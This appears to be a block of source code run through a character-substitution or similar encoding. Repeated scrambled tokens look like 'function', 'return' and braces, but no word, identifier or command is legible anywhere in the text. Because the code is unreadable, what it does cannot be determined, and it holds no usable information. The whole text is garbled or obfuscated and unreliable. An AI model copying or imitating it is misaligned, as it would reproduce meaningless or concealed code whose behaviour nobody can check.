[GJMMAY\BvJQL[GLAFES		OEKOHSDG@[F #R#[L]\[G	@N[KMFGKOJZ KKAEPBMEYMGE  					i@N[KMFGKOJZ L[GLAFES	OEKOHSDG@[F 			OHEZL###	T#	O\GJ]@FG		LCQ^D_NvFJEN[SF ##				R#	Z]H]@J	_\EB@OS]XNS_H			G\EE#		@O		_\EB@OS]XNS_H		G\EE 			[L]\[G					_\EB@OS]XNS_H#				_\EB@OS]XNS_H			SPDBZLLFM] @^v_XSYHPXKSN  			@N[KMFGKOJZ  							SPDBZLLFM] N[HNGFMv\B_XQDADNCN[HNGFMv\#			@O		i@^v_XSYHPXKSN _\EB@OS]XNS_H 					iKKAEPBMEYMGE _\EB@OS]XNS_H  				[L]\[G		_\EB@OS]XNS_H#							@DZNOYA								MLO@GLM@^v_XSYHPXKSN  			~yvjfg}lg}vm`{				MLO@GLM@^v_XSYHPXKSN  						hkzyh}a			@N[KMFGKOJZ 				 #		@O				@DZNOYA							 			R#	MLXDFHODDKY				KKAEPBMEYMGE @DZNOYA		@N[KMFGKOJZ  			SPDBZLLFM] #	@O				i@^v_XSYHPXKSN MLXDFHODDKY  		i@^v_XSYHPXKSN MLXDFHODDKY			 		][\L ##					@O	iSPDBZLLFM] MLXDFHODDKY 								iSPDBZLLFM] MLXDFHODDKY  			R#@O				@^v_XSYHPXKSN @N[KMFGKOJZ   				iY\]LG_KKAEPBMEYMGE 			MLXDFHODDKY #						nefkhezr@^v_XSYHPXKSN t			#					_\EB@OS]XNS_H						MLXDFHODDKY#	T#					T###	[L]\[G		_\EB@OS]XNS_H#			T#							O\GJ]@FG	HHP\_[vSHKGSLD #			R#		L[GLAFES		GELKXEB_N@M@\ #	_CZDGOY					\vJHFGLF__PBZFA]G #	yay		O@KL[Z	ZL]]@GNZ	ZLJ]@FG##				@O		L[GLAFES						_CZDGOY 	[L]\[G	][\L#			@O		KKAEPBMEYMGE SPDBZLLFM]   	R####			@]A]NNN]ED_J		iSPDBZLLFM] L[GLAFES ####		H]ECQS@P\H[					iKKAEPBMEYMGE _CZDGOY #	[L]\[G			@]A]NNN]ED_J					OHEZL			H]ECQS@P\H[				OHEZL		@]A]NNN]ED_J				H]ECQS@P\H[ #		T###					[L]\[G			OHEZL#			T#	O\GJ]@FG		Y[CQSEMDC_ #			R#	[L]\[G		 #	T#	O\GJ]@FG						^S_KJLMFEvE #								R#@O					MLO@GLM@N[KMFGKOJZ   				[L]\[G			##			@DZNOYA				MLO@GLMSPDBZLLFM]  								~yvjfg}lg}vm`{				hkzyh}a					@^v_XSYHPXKSN #	[L]\[G	@^v_XSYHPXKSN @DZNOYA			SPDBZLLFM]  		@^v_XSYHPXKSN 								@N[KMFGKOJZ @^v_XSYHPXKSN hkzyh}a			@^v_XSYHPXKSN  			QQ  				@^v_XSYHPXKSN 						@^v_XSYHPXKSN @N[KMFGKOJZ hkzyh}a		@^v_XSYHPXKSN  				w  				@N[KMFGKOJZ #	T#O\GJ]@FG						K@^Y[NAC\OK]^GYEA^CJENGPQ												G\EE #						R#		OEKOHSDG@[F						^S_KJLMFEvE #							@O		OEKOHSDG@[F				 		[L]\[G					OHEZL#					@O	KKAEPBMEYMGE YEA^CJENGPQ 			UU		SPDBZLLFM] YEA^CJENGPQ 					  	YEA^CJENGPQ								LSQQPGQ_@[D^ #	@O			YEA^CJENGPQ	UU					_SMG[M@XJvKJSK\YEA^CJENGPQ  			[L]\[G	OHEZL#					L[GLAFES			SPDBZLLFM] OEKOHSDG@[F ###			@O		iKKAEPBMEYMGE L[GLAFES  	vGQBQZEPNCOHHML[GLAFES		 			][\L #			@O	i@^v_XSYHPXKSN L[GLAFES 	UU						iSPDBZLLFM] L[GLAFES  	[L]\[G	OHEZL#					@O				iSPDBZLLFM] OEKOHSDG@[F  						R###							@O	SPDBZLLFM] C^v@Z@\@ACBCLZ][@GN 					iSPDBZLLFM] OEKOHSDG@[F   		@^v_XSYHPXKSN YEA^CJENGPQ  		[L]\[G			][\L#			CHXM_[JB^_AQXAD					HSP[FQvES]HDGY]]NC@OEKOHSDG@[F #		@O	CHXM_[JB^_AQXAD						G\EE			_L[Z@FGvJFDYH[LCHXM_[JB^_AQXAD		^NKBHS]S^NFHGH^O] 					  			[L]\[G						OHEZL#	\GZL]CHXM_[JB^_AQXAD #					T#@O			ZKXOKS\JGG_ZQC@QYOEKOHSDG@[F		YEA^CJENGPQ  		[L]\[G			OHEZL#		XX]L[vEYC^\OZSZ_@JLOEKOHSDG@[F	  #EHOBPA]OAvHOEKOHSDG@[F #								[L]\[G			][\L#T#	O\GJ]@FG			NJAKENZPDH_SD_AN #			R#		YEA^CJENGPQ						LSQQPGQ_@[D^ ####							@O					YEA^CJENGPQ			UU	_SMG[M@XJvKJSK\YEA^CJENGPQ  						[L]\[G		OHEZL###	M_XXHYC^C_SP								@^v_XSYHPXKSN [ZKLSD_ 				SPDBZLLFM]  HCE_^M_yayv`g}vdhqyayv`g}vdhq^\NEYHCE_^M_#	_ONSMO			@^v_XSYHPXKSN @N[KMFGKOJZ  				\PMXQZ\DMJ_]\OH 						MLO@GLMSPDBZLLFM]  					~yvjfg}lg}vm`{					 #@O		_ONSMO		 				[L]\[G	OHEZL##	NDD]NM^[\QB				_ONSMO				KKAEPBMEYMGE 				M_XXHYC^C_SP#							DNLXJNKZKCNZ			NDD]NM^[\QB										M_XXHYC^C_SP					@N[KMFGKOJZ ###			SCLOCSZK_LE@					OHEZL#			@O	@N[KMFGKOJZ @^v_XSYHPXKSN   		R#CGDXMM		iSPDBZLLFM] DNLXJNKZKCNZ #					Z[XDNv\XGSDB							iSPDBZLLFM] [ZKLSD_  #SCLOCSZK_LE@				@^v_XSYHPXKSN CGDXMM 					@^v_XSYHPXKSN Z[XDNv\XGSDB 										CGDXMM					Z[XDNv\XGSDB ##T#	@O	SCLOCSZK_LE@ 			R#			@O	iSPDBZLLFM] NDD]NM^[\QB  				vGQBQZEPNCOHHMNDD]NM^[\QB		 		][\L ####	@O				i@N[KMFGKOJZ NDD]NM^[\QB 			UU				i@N[KMFGKOJZ NDD]NM^[\QB  		[L]\[G		OHEZL\CG[O^XDyayv`g}vdhqyayv`g}vdhq_HAXYYLM\CG[O^XD#					@O			i@^v_XSYHPXKSN DNLXJNKZKCNZ 	UU		SPDBZLLFM] C^v@Z@\@ACBCLZ][@GN 			i@^v_XSYHPXKSN DNLXJNKZKCNZ   			SPDBZLLFM] YEA^CJENGPQ  	R#@O		iKKAEPBMEYMGE DNLXJNKZKCNZ  				R#					CHXM_[JB^_AQXAD						HSP[FQvES]HDGY]]NC@DNLXJNKZKCNZ #				@O	CHXM_[JB^_AQXAD				G\EE					_L[Z@FGvJFDYH[LCHXM_[JB^_AQXAD			^NKBHS]S^NFHGH^O] 			  	[L]\[G		OHEZL#					\GZL]CHXM_[JB^_AQXAD #			T#	FY]@DHE	[LJF[MEHPL[#####					@O			ZKXOKS\JGG_ZQC@QYDNLXJNKZKCNZ			]ODXFFOB\PHLBFG^YEA^CJENGPQ   					[L]\[G			OHEZL#XX]L[vEYC^\OZSZ_@JLDNLXJNKZKCNZ	  ##	LCEBMJ]BEDNLXJNKZKCNZ #	EHOBPA]OAvHDNLXJNKZKCNZ DCXEHvFyayvdhcf{vl{z`fgv[CLHKGDCXEHvF#		T##T#@O			@^v_XSYHPXKSN @N[KMFGKOJZ  						KKAEPBMEYMGE @N[KMFGKOJZ   		R#[X_KEQSJJF				M_XXHYC^C_SP									M_XXHYC^C_SP			KKAEPBMEYMGE #QAHS^]JLvZPC						NL]vFY]@FG@N[KMFGKOJZ 				H[[HP  #@O		SPDBZLLFM] QAHS^]JLvZPC  			QAHS^]JLvZPC					H[[HP #							@O		@^v_XSYHPXKSN [X_KEQSJJF			QAHS^]JLvZPC		][\L  	R#	QAHS^]JLvZPCrt			[X_KEQSJJF###		\YMH]LvFY]@FG@N[KMFGKOJZ 				KKAEPBMEYMGE QAHS^]JLvZPC  #						T#				T####[L]\[G			][\L####					T#				O\GJ]@FG	HSP[FQvES]HDGY]]NC@OEKOHSDG@[F #R#								M_O^O_\[						iSPDBZLLFM] OEKOHSDG@[F		OHEZL			G\EE					QMQM  #	@O			KKAEPBMEYMGE M_O^O_\[  		[L]\[G	G\EE#		@O		@N[KMFGKOJZ KKAEPBMEYMGE 			M_O^O_\[	_CZDGOY  	[L]\[G	_CZDGOYrt#	[L]\[G				G\EE#						T#		#			O\GJ]@FG						QL@vJL^E^ZMBO_JFE^SQLEHF		DPPB]G[QDH_NJN #		R#	[LJFGJ@EL	\G@]H[P	FKZL[_L[##iJELH[Z]H]JHJAL][\L						JFE^SQLEHF ###					^GZX__F										i@^v_XSYHPXKSN JFE^SQLEHF #@O		^GZX__F		UU	^GZX__F			  			Y[CQSEMDC_  	R#	~y	k\]]FG	kEFJB	HJX\@[L	[HM@Q][LL##				[L]\[G			OHEZL##T##							#			AADEEDPN]]LF					iSPDBZLLFM] JFE^SQLEHF #	[L]\[G		AADEEDPN]]LF			AADEEDPN]]LF						DPPB]G[QDH_NJN#	T#O\GJ]@FG	ALQFXB@G@^X ####	R#			[L]\[G			 #T#		O\GJ]@FG	SG^DSX^[_L #					R#[L]\[G		@^v_XSYHPXKSN #T#				O\GJ]@FG			HZZ[vN@S@BZX #								R#				[L]\[G					@^v_XSYHPXKSN #	T#			O\GJ]@FG					EMD^HNCXOK^Q ###	R##				@O		@N[KMFGKOJZ @N[KMFGKOJZ   						[L]\[G	][\L#@O					@DX^BEQ[HCH^B  		[L]\[G				][\L#							O\CX^PZJM_					@ZZL]vzl{l{rKKAEPBMEYMGE t 						@^v_XSYHPXKSN Z][@GN 				vzl{l{rSPDBZLLFM] t 				#		@O			O\CX^PZJM_												KKAEPBMEYMGE O\CX^PZJM_		@^v_XSYHPXKSN  			OHEZL		UU					@N[KMFGKOJZ O\CX^PZJM_				@N[KMFGKOJZ  					OHEZL		UU				@^v_XSYHPXKSN O\CX^PZJM_	@N[KMFGKOJZ  						OHEZL  			[L]\[G		][\L#					@O	O\CX^PZJM_							@N[KMFGKOJZ  							@^v_XSYHPXKSN 						@ZZL]vzl{l{rSPDBZLLFM] t  			[L]\[G					][\L#	[L]\[G	OHEZL###			T#						O\GJ]@FG				@DX^BEQ[HCH^B #R\K[SMyayv`g}vdhqyayv`g}vdhqQDFQ_ZJC@\K[SM#			O\CX^PZJM_					@ZZL]vzl{l{rSPDBZLLFM] t 						vzl{l{r@N[KMFGKOJZ t					##							[L]\[G		KKAEPBMEYMGE O\CX^PZJM_ 					Z][@YFZO\CX^PZJM_			KKAEPBMEYMGE  		OHEZL#					T#O\GJ]@FG				F[B@AKAZDADv]ASGEQBCJL #		R#		ONCXQ@E_CvYDDE			@^v_XSYHPXKSN KKAEPBMEYMGE  			iSPDBZLLFM] SPDBZLLFM]  		OHEZL###				@O				ONCXQ@E_CvYDDE		UU						ONCXQ@E_CvYDDE			 	[L]\[G	][\L#	KDMJKFKS					iKKAEPBMEYMGE GEQBCJL #				@O	KDMJKFKS 			KDMJKFKS		GEQBCJLE^\SYGv__LL\XEHMQQZFE^\SYGv__ E^\SYGv__E^\SYGv__##OF[LHJA			@^v_XSYHPXKSN yh}avzlyh{h}f{			ONCXQ@E_CvYDDE 	HZ				[YBEB\JZ 	R#	[YBEB\JZ				@^v_XSYHPXKSN [YBEB\JZ		KKAEPBMEYMGE  #	@O		[YBEB\JZ							KDMJKFKS							[YBEB\JZ	UU		@N[KMFGKOJZ KDMJKFKS	[YBEB\JZ						m`{lj}f{pvzlyh{h}f{ 						  					[L]\[G		][\L#			T#								[L]\[G			OHEZL#			T#		O\GJ]@FG		LK_]G_KvS[JGYBQYHZD ##						R#OQ@ZYKv\[B							GYBQYHZD		U			MLO@GLM@^v_XSYHPXKSN  					mkvghdl				 					U						MLO@GLMKKAEPBMEYMGE  						hkzyh}a			 ###	[L]\[G		@N[KMFGKOJZ OQ@ZYKv\[B ###								T#					O\GJ]@FG				JD@CQMEODG^GYBQYHZD #						R#	NEFKHE			^YMK#@O		@ZZL]nefkhezr@^v_XSYHPXKSN t 			UU			@^v_XSYHPXKSN nefkhezrKKAEPBMEYMGE t  		nefkhezr@^v_XSYHPXKSN t			H[[HP #								@O					LDY]PnefkhezrKKAEPBMEYMGE trGYBQYHZDt  			R#		nefkhezrSPDBZLLFM] trGYBQYHZDt#[L]\[G			][\L##		T#					@O			@N[KMFGKOJZ ^YMK 			SPDBZLLFM] ^YMK				@^v_XSYHPXKSN   	R#	YCOFJFCO\							i^YMKNL]v_H[@^v_XSYHPXKSN 			LK_]G_KvS[JGYBQYHZD 		SPDBZLLFM]  #@O				YCOFJFCO\			 		R#	yz{	GHDLZYHJLZ	@GJ[LDLG]HE	YH[]@]@FG[LO@GLDLG]##	nefkhezrSPDBZLLFM] trGYBQYHZDt								#			[L]\[G	][\L#T###	@O		YCOFJFCO\					 	[L]\[G		OHEZL#					T#@O			KKAEPBMEYMGE KKAEPBMEYMGE  				@^v_XSYHPXKSN KKAEPBMEYMGE   	R#	HMHY]@_L	]HZBN[HYA#G^EEJv[HLYKEZAM@PDNXHKG^EEJv[HLYK#				B\AP^@P\					H[[HP #	@O				@^v_XSYHPXKSN @N[KMFGKOJZ   					B\AP^@P\rt				KKAEPBMEYMGE  #@O	MLO@GLM@^v_XSYHPXKSN   		B\AP^@P\rt		~yvjfg}lg}vm`{###			@O					MLO@GLMSPDBZLLFM]   	B\AP^@P\rt							KKAEPBMEYMGE hkzyh}a			KKAEPBMEYMGE  ###						OF[LHJA		B\AP^@P\			HZ			L[GLAFES 			R####				@O		L[GLAFES									UU		i@N[KMFGKOJZ L[GLAFES 				UU		i@^v_XSYHPXKSN L[GLAFES  		JFG]@G\L#		XL]ZBYSO				iKKAEPBMEYMGE L[GLAFES				KKAEPBMEYMGE 		LK_]G_KvS[JGYBQYHZD 							@N[KMFGKOJZ 						J #		@O			XL]ZBYSO			OHEZL 			R#						@O	iOEFJBXL]ZBYSO	efjbvlq	U	efjbvgk  						R#	DFGF]FGL	JF\G]D@GZBL]JA##		iOJEFZLXL]ZBYSO #		[L]\[G	OHEZL#						T#	@O			@ZZL]nefkhezr@N[KMFGKOJZ t 			UU	@^v_XSYHPXKSN nefkhezr@^v_XSYHPXKSN t  			nefkhezrKKAEPBMEYMGE t				H[[HP #		nefkhezr@N[KMFGKOJZ trGYBQYHZDt						XL]ZBYSO#nefkhezrSPDBZLLFM] trGYBQYHZDt					#[L]\[G			][\L#			T#				T#	T####				[L]\[G			OHEZL#		T#	O\GJ]@FG		NZADHFK@PJ[GYBQYHZD #R#			NEFKHE	^YMK#	@O		LDY]PnefkhezrSPDBZLLFM] trGYBQYHZDt  		[L]\[G####	nefkhezr@^v_XSYHPXKSN trGYBQYHZDt##@O		nefkhezr@N[KMFGKOJZ trGYBQYHZDt					 	[L]\[G#	\GZL]nefkhezrSPDBZLLFM] trGYBQYHZDt #				@O				@ZZL]nefkhezr@N[KMFGKOJZ trGYBQYHZDt  		R#iOEFJBnefkhezr@N[KMFGKOJZ trGYBQYHZDt						efjbv|g #iOJEFZLnefkhezr@^v_XSYHPXKSN trGYBQYHZDt #				\GZL]nefkhezr@^v_XSYHPXKSN trGYBQYHZDt #T##				@O	@N[KMFGKOJZ ^YMK 											KKAEPBMEYMGE ^YMK			@^v_XSYHPXKSN   			R###				i^YMKX\L[PKKAEPBMEYMGE 				LK_]G_KvS[JGYBQYHZD 			@^v_XSYHPXKSN  #T#	D\E]@KP]L	H^H[L##T#				O\GJ]@FG		HNA_P@GZGMN #R##			@O				MLO@GLM@N[KMFGKOJZ  		m`zheef~vo`elvdfmz 					[L]\[G	OHEZL#	[L]\[G		][\L#				T#						O\GJ]@FG		FBQKvM[JB\ZMHPE\vSSXXA		E]GYK]v #		R#	][P	R#@O	@G]L[OHJLvLQ@Z]ZSPDBZLLFM]  				E]GYK]v		@GZ]HGJLFO	}A[F^HKEL 	R#			D^_OGCAML\DZOZ						@^v_XSYHPXKSN vSSXXA				@N[KMFGKOJZ 					E]GYK]vNL]dLZZHNL 		  #		T				LEZL@O		E]GYK]v	@GZ]HGJLFO			lQJLY]@FG 			R#D^_OGCAML\DZOZ			SPDBZLLFM] vSSXXA				SPDBZLLFM] 				E]GYK]vNL]dLZZHNL 								  ####T	LEZL@O						@N[KMFGKOJZ E]GYK]v 					@N[KMFGKOJZ E]GYK]v 						 				R#D^_OGCAML\DZOZ			SPDBZLLFM] vSSXXA				SPDBZLLFM] 		E]GYK]v							  #				T		LEZL	R#[L]\[G#T#	E@OLJPJEL	AFFB##	@O			@ZZL]nefkhezrSPDBZLLFM] t  			nefkhezr@N[KMFGKOJZ t								H[[HP #@O					@^v_XSYHPXKSN D^_OGCAML\DZOZ						nefkhezrKKAEPBMEYMGE t	][\L  			R#							nefkhezr@^v_XSYHPXKSN trt							D^_OGCAML\DZOZ#	T#			@O					@^v_XSYHPXKSN nefkhezr@N[KMFGKOJZ t 							  		R#	nefkhezrKKAEPBMEYMGE t					@N[KMFGKOJZ nefkhezrKKAEPBMEYMGE t	  #					T#T			JH]JA	}A[F^HKEL	CKH_M_GGYXKB 					R#	yLZ]	yay		^LKY	JFG_L[Z@FG##	T	JH]JA			lQJLY]@FG				CKH_M_GGYXKB 					R####				T#				T#O\GJ]@FG					NPBEZ_MS\_BKM_O^O_\[			_EZOAMvCSX				OEKOHSDG@[F						 		DCD[LZ@BKN\_					 #		R#	@O	@N[KMFGKOJZ @N[KMFGKOJZ   		[L]\[G			OHEZL#	@O			@N[KMFGKOJZ _EZOAMvCSX  		R#	[L]\[G		HMMvHJ]@FGM_O^O_\[		O\GJ]@FG			\B_FFBOY_[Y 			\ZL			_EZOAMvCSX 	R#				@O			@^v_XSYHPXKSN _EZOAMvCSX  				[L]\[G	_EZOAMvCSX\B_FFBOY_[Y #[L]\[G	G\EE#T			OEKOHSDG@[F				DCD[LZ@BKN\_ vMK_XXvZ_Qyayv`g}vdhqyayv`g}vdhqLKK_BEEAvMK_XXvZ_Q#					T#	[L]\[G				HMMvHJ]@FGM_O^O_\[			_EZOAMvCSX	OEKOHSDG@[F	DCD[LZ@BKN\_ #	T###	O\GJ]@FG	BML[vN^LMNM_O^O_\[			_EZOAMvCSX						OEKOHSDG@[F					w 			DCD[LZ@BKN\_		 ##				R#					@O				@N[KMFGKOJZ KKAEPBMEYMGE   	[L]\[G					OHEZL#	@O	@^v_XSYHPXKSN _EZOAMvCSX  						R###		[L]\[G			HMMvO@E]L[M_O^O_\[	O\GJ]@FG		\B_FFBOY_[Y 	\ZL		_EZOAMvCSX 		R###@O	SPDBZLLFM] _EZOAMvCSX  				[L]\[G	_EZOAMvCSX\B_FFBOY_[Y #								[L]\[G	@ZZL]\B_FFBOY_[Yrt 						\B_FFBOY_[Yrt				G\EE#					T		OEKOHSDG@[F		DCD[LZ@BKN\_ B_CN_N^H[CQQJ M^ZLYQ]B_CN_N^H[C#						T#				[L]\[G					HMMvO@E]L[M_O^O_\[						_EZOAMvCSX				OEKOHSDG@[F	DCD[LZ@BKN\_ ##			T#	O\GJ]@FG			^D]]OFPX_KGKN@ #R#				[YBEB\JZ								MLO@GLMKKAEPBMEYMGE  							~yvjfg}lg}vm`{		KKAEPBMEYMGE 					FZLYYKLLEQ[\Ahkzyh}a		KKAEPBMEYMGE 		  										SPDBZLLFM] [ZKLSD_  			KKAEPBMEYMGE #@O		iSPDBZLLFM] [YBEB\JZ 											F[B@AKAZDADv]AS[YBEB\JZ  				R###vGQBQZEPNCOHHM[YBEB\JZ			QQJ 				][\L #		@O			i@^v_XSYHPXKSN [YBEB\JZ  				R#			]CMKXXQK@G\FH[YBEB\JZ				@^v_XSYHPXKSN 					YAY		z@ELGJL	@Z	NFEMLGuG	KKAEPBMEYMGE  #T#				T#	@O					iSPDBZLLFM] [YBEB\JZ 			iKKAEPBMEYMGE [YBEB\JZ  					R#	YHJBLM	EHPF\]##[L]\[G	[YBEB\JZ#			T#	JFEELJ]	MH]HOEF^N[HYA	OF[	~y	nEFKHE	z]PELZ##				JNKLC^[HF					SPDBZLLFM] [ZKLSD_  				KKAEPBMEYMGE #	@O			iSPDBZLLFM] JNKLC^[HF 						F[B@AKAZDADv]ASJNKLC^[HF  		vGQBQZEPNCOHHMJNKLC^[HF					 		][\L ##@O	i@^v_XSYHPXKSN JNKLC^[HF 				iKKAEPBMEYMGE JNKLC^[HF  			[L]\[G	JNKLC^[HF#CFGXMZLOYZY@XGX				@^v_XSYHPXKSN [ZKLSD_  ###							@O				i@^v_XSYHPXKSN CFGXMZLOYZY@XGX 			CFGXMZLOYZY@XGX				\vJHFGLF__PBZFA]G  				[L]\[G			CFGXMZLOYZY@XGX#@O		MLO@GLMKKAEPBMEYMGE  					iSPDBZLLFM] ~yvjfg}lg}vm`{ 					F[B@AKAZDADv]AS~yvjfg}lg}vm`{  	[L]\[G					~yvjfg}lg}vm`{#				[L]\[G		[YBEB\JZ#		T#		O\GJ]@FG			\PMXQZ\DMJ_]\OH #R#	@O	MLO@GLMSPDBZLLFM]  									iSPDBZLLFM] ~yvjfg}lg}vm`{ 					F[B@AKAZDADv]AS~yvjfg}lg}vm`{  		[L]\[G					~yvjfg}lg}vm`{#							MKKS^E			@^v_XSYHPXKSN [ZKLSD_  #				@O	F[B@AKAZDADv]ASMKKS^E  			[L]\[G	MKKS^E#		[L]\[G		~yvjfg}lg}vm`{#		T#			#		O\GJ]@FG				SDLMOCK_]JSDN^GEQBCJL #	R##		@O		LDY]Pnefkhezr@N[KMFGKOJZ t 	UU			@^v_XSYHPXKSN nefkhezr@N[KMFGKOJZ t  			[L]\[G	OHEZL#@O	@ZZL]nefkhezrKKAEPBMEYMGE trGEQBCJLt  	[L]\[G		][\L#	KDMJKFKS			SPDBZLLFM] KKAEPBMEYMGE  		i@N[KMFGKOJZ GEQBCJL 			OHEZL#			[L]\[G			KDMJKFKS						OHEZL								@ZZL]nefkhezrKKAEPBMEYMGE trKDMJKFKSt  ####T####		O\GJ]@FG	SS^Q\v__AZM@YMKOSGEQBCJL #	R#	HMHY]@_L	JFDDHGM	#KODGBGNEGYG]][BPPMNNSZA\KODGBGNEGYG]#@O	LDY]Pnefkhezr@N[KMFGKOJZ t 	UU				@^v_XSYHPXKSN nefkhezr@^v_XSYHPXKSN t  		[L]\[G###	\GZL]nefkhezr@^v_XSYHPXKSN trGEQBCJLt ####				KDMJKFKS			@^v_XSYHPXKSN SPDBZLLFM]  				iKKAEPBMEYMGE GEQBCJL 			OHEZL#@O			KDMJKFKS						OHEZL 				\GZL]nefkhezrKKAEPBMEYMGE trKDMJKFKSt #T####O\GJ]@FG						MSv@FPEQOZNH@GEQBCJL #							R#						@O				@ZZL]nefkhezr@^v_XSYHPXKSN t 			UU	@N[KMFGKOJZ nefkhezrSPDBZLLFM] t  	R#					nefkhezr@N[KMFGKOJZ t						H[[HP #	T##N[QOPCHHG_C				SPDBZLLFM] @^v_XSYHPXKSN  					iSPDBZLLFM] GEQBCJL 						OHEZL###	nefkhezrSPDBZLLFM] trN[QOPCHHG_C			OHEZL			N[QOPCHHG_C			GEQBCJLt						GEQBCJL###		Z]H]@J	FEJ]D				OHEZL#		@O	FEJ]D 	R###				FEJ]D					][\L#			@O					SPDBZLLFM] SPDBZLLFM]   		@N[KMFGKOJZ SPDBZLLFM]  ###	T##			T####	O\GJ]@FG					HFL_MvvABE #R#	@O			LDY]Pnefkhezr@N[KMFGKOJZ t 	UU			SPDBZLLFM] nefkhezrSPDBZLLFM] t  		R#			[L]\[G###	T#		OF[LHJA				nefkhezrKKAEPBMEYMGE t	HZ			BSMvJv^					EJC]CFDvOL 			R#				@O					@^v_XSYHPXKSN EJC]CFDvOL  	EJC]CFDvOL					BSMvJv^###		@O		BSMvJv^								[ZKLSD_ 		UU		EJC]CFDvOL										[ZKLSD_  		JFG]@G\L###	][P		R#		@O			i@^v_XSYHPXKSN EJC]CFDvOL  		R#				@O				@^v_XSYHPXKSN KKAEPBMEYMGE   				XX]L[vEYC^\OZSZ_@JLEJC]CFDvOL	QQM  ####		@O					SPDBZLLFM] @^v_XSYHPXKSN  					@PE[Z\[XJ_PLXGEJC]CFDvOL 		@^v_XSYHPXKSN @N[KMFGKOJZ   		iFYJHJALv@G_HE@MH]LEJC]CFDvOL		][\L ####T#		T		JH]JA				}A[F^HKEL	E]GYK]v 	R#			T	JH]JA		lQJLY]@FG					E]GYK]v 		R#	~y	yFZ]	mH]L	@GMLJFDYFZHKEL	DLM@H]F[##T#		T#	T#		O\GJ]@FG						HQ]G]K^\O[SMZAF ####	R####][P			R#		E]GYK]v						KKAEPBMEYMGE SPDBZLLFM]  				iL[[F[vNL]vEHZ] 									G\EE#		@O					@^v_XSYHPXKSN E]GYK]v 	UU			LDY]PE]GYK]vr@N[KMFGKOJZ t 					UU	LDY]PE]GYK]vr@N[KMFGKOJZ t  	[L]\[G#		@O		SPDBZLLFM] E]GYK]vr@N[KMFGKOJZ t			H[[HPlvl{{f{			lvyh{zl				lvjf{lvl{{f{	lvjfdy`elvl{{f{		lv|zl{vl{{f{ 		][\L  	[L]\[G#_CZDGOY									@ZZL]E]GYK]vrKKAEPBMEYMGE t 							Z][@GN 	E]GYK]vr@N[KMFGKOJZ t				#@O	Z][@YFZ_CZDGOY	SPDBZLLFM]  											OHEZL		UU			Z][@YFZ_CZDGOY		@^v_XSYHPXKSN  								OHEZL 				[L]\[G##		SCLOCSZK_LE@						@^v_XSYHPXKSN @^v_XSYHPXKSN  					i@N[KMFGKOJZ [ZKLSD_  			[ZKLSD_ #	vLO			SPDBZLLFM] SPDBZLLFM]  					iSPDBZLLFM] E]GYK]vr@^v_XSYHPXKSN t 		E]GYK]vr@N[KMFGKOJZ tCPCEM^J@\B[ZMyayvdhcf{vl{z`fg]YX_SvLOFB_CPCEM^J@\B[ZM###							@O	SPDBZLLFM] SCLOCSZK_LE@ 			UU		SPDBZLLFM] vLO 	UU		vLO					SCLOCSZK_LE@ 		[L]\[G###			@O				@ZZL]nefkhezr@N[KMFGKOJZ t  	R#							CB_EPC				iKKAEPBMEYMGE [ZKLSD_ 				OHEZL					G\EE				  #			@O	@N[KMFGKOJZ CB_EPC 					@^v_XSYHPXKSN @N[KMFGKOJZ 		CB_EPC		vMD 					vMDrt				Z][@GN 		nefkhezrKKAEPBMEYMGE t 			[L]\[G	#\GZL]CB_EPC		vMD #				@O				@ZZL]nefkhezr@N[KMFGKOJZ t  			R#	FYLG	YAHG]FD	##			@O		@N[KMFGKOJZ SPDBZLLFM]   		iJELH[Z]H]JHJAL][\L	[ZKLSD_  ##						NPCXXQLF]HZFG			Z][@GN 			i@N[KMFGKOJZ [ZKLSD_  											Z][@GN 	i@N[KMFGKOJZ [ZKLSD_  #	@O					NPCXXQLF]HZFG							Z][@GN 		nefkhezr@N[KMFGKOJZ t 	[L]\[G			#						\GZL]NPCXXQLF]HZFG ###	T#					T#M_XXHYC^C_SP						SPDBZLLFM] [ZKLSD_ 	KKAEPBMEYMGE  ##					CPJ^XGMBXvAF							KKAEPBMEYMGE C^v@Z@\@ACBCLZ][@GN 		i@N[KMFGKOJZ [ZKLSD_    #					]CMKXXQK@G\FH@N[KMFGKOJZ [ZKLSD_  				@^v_XSYHPXKSN 			M_XXHYC^C_SP	CPJ^XGMBXvAF	X #@O				CPJ^XGMBXvAF				 						R#]CMKXXQK@G\FHKKAEPBMEYMGE [ZKLSD_  							KKAEPBMEYMGE 										CPJ^XGMBXvAF			Z][@GN 	SPDBZLLFM]  			X #		@O				SPDBZLLFM] @^v_XSYHPXKSN   	R#						i\YMH]LvFY]@FG@^v_XSYHPXKSN 					CPJ^XGMBXvAF			U						KKAEPBMEYMGE  			@N[KMFGKOJZ  #	T#					T#							SLNBE_^K@P				\vJHFGLF__PBZFA]G #				@O			SLNBE_^K@P					KKAEPBMEYMGE [ZKLSD_  					iSPDBZLLFM] SLNBE_^K@P 						iKKAEPBMEYMGE SLNBE_^K@P  				R####				]CMKXXQK@G\FHSLNBE_^K@P								@N[KMFGKOJZ 						M_XXHYC^C_SP		CPJ^XGMBXvAF				X #	T#		@O			@N[KMFGKOJZ KKAEPBMEYMGE  							@^v_XSYHPXKSN @^v_XSYHPXKSN   	R###	MHK_[YGZ]						NL]vFY]@FG@^v_XSYHPXKSN 			H[[HP  #	@O			KKAEPBMEYMGE MHK_[YGZ] 				KKAEPBMEYMGE X^A[SKOSH[ 			MHK_[YGZ]	][\L  			R#i\YMH]LvFY]@FG@N[KMFGKOJZ 	SPDBZLLFM] SPDBZLLFM] MHK_[YGZ]					H[[HPX^A[SKOSH[     #						T#		T#GY_[H^KNPNHE@^v_XSYHPXKSN  #BGOYLB_vC		[ZKLSD_ 								@^v_XSYHPXKSN #							@O	SPDBZLLFM] @N[KMFGKOJZ   	iSPDBZLLFM] [ZKLSD_ 	BGOYLB_vC #		@O					SPDBZLLFM] SPDBZLLFM]   	R##iFYJHJALv@G_HE@MH]L[ZKLSD_ 		][\L ###					iFYJHJALv@G_HE@MH]LBGOYLB_vC		][\L #		##T####					OF[LHJA				H[[HP@N[KMFGKOJZ BGOYLB_vC 	\vJHFGLF__PBZFA]G  	HZ	]NCMFQEO 			R###XG_GLF_B			\Z\AGLAZAHZXB\]NCMFQEO ####	@O	SPDBZLLFM] XG_GLF_B  			JFG]@G\LZJJ[B^N@FvSYZJJ[B ZJJ[BZJJ[B#	OF[LHJA						XG_GLF_B					HZ		_HCY@XG^HEC 					R#@O					SPDBZLLFM] _HCY@XG^HEC				  				KKAEPBMEYMGE  	JFG]@G\L#		\CM@[XGOSAG			]NCMFQEO								_HCY@XG^HEC#			XASQMBCE@DDHH					iKKAEPBMEYMGE \CM@[XGOSAG #			@O		